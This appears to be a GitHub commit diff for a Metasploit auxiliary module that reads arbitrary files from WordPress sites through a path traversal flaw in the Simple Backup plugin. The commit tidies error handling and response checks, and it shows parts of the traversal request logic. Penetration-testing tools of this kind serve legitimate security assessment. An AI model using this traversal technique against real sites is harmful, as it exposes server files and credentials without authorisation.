Skip to content

Commit 184c20c

Browse files
committed
Do minor cleanup
1 parent b305fa6 commit 184c20c

File tree

1 file changed

+9
-4
lines changed

1 file changed

+9
-4
lines changed

modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb

Lines changed: 9 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -44,7 +44,7 @@ def check
4444
end
4545

4646
def run_host(ip)
47-
traversal = "../" * datastore['DEPTH']
47+
traversal = '../' * datastore['DEPTH']
4848
filename = datastore['FILEPATH']
4949
filename = filename[1, filename.length] if filename =~ /^\//
5050

@@ -59,11 +59,16 @@ def run_host(ip)
5959
)
6060

6161
unless res && res.body
62-
fail_with(Failure::Unknown, "#{peer} - Server did not respond in an expected way.")
62+
vprint_error("#{peer} - Server did not respond in an expected way.")
6363
return
6464
end
6565

66-
if res.code == 200 && res.body.length > 0 && res.headers['Content-Disposition'].include?('attachment; filename')
66+
if res.code == 200 &&
67+
res.body.length > 0 &&
68+
res.headers['Content-Disposition'] &&
69+
res.headers['Content-Disposition'].include?('attachment; filename') &&
70+
res.headers['Content-Length'] &&
71+
res.headers['Content-Length'].to_i > 0
6772

6873
vprint_line("#{res.body}")
6974
fname = datastore['FILEPATH']
@@ -78,7 +83,7 @@ def run_host(ip)
7883

7984
print_good("#{peer} - File saved in: #{path}")
8085
else
81-
print_error("#{peer} - Nothing was downloaded. You can try to change the DEPTH parameter or verify the correct filename.")
86+
vprint_error("#{peer} - Nothing was downloaded. You can try to change the DEPTH parameter or verify the correct filename.")
8287
end
8388
end
8489
end

0 commit comments

Comments
 (0)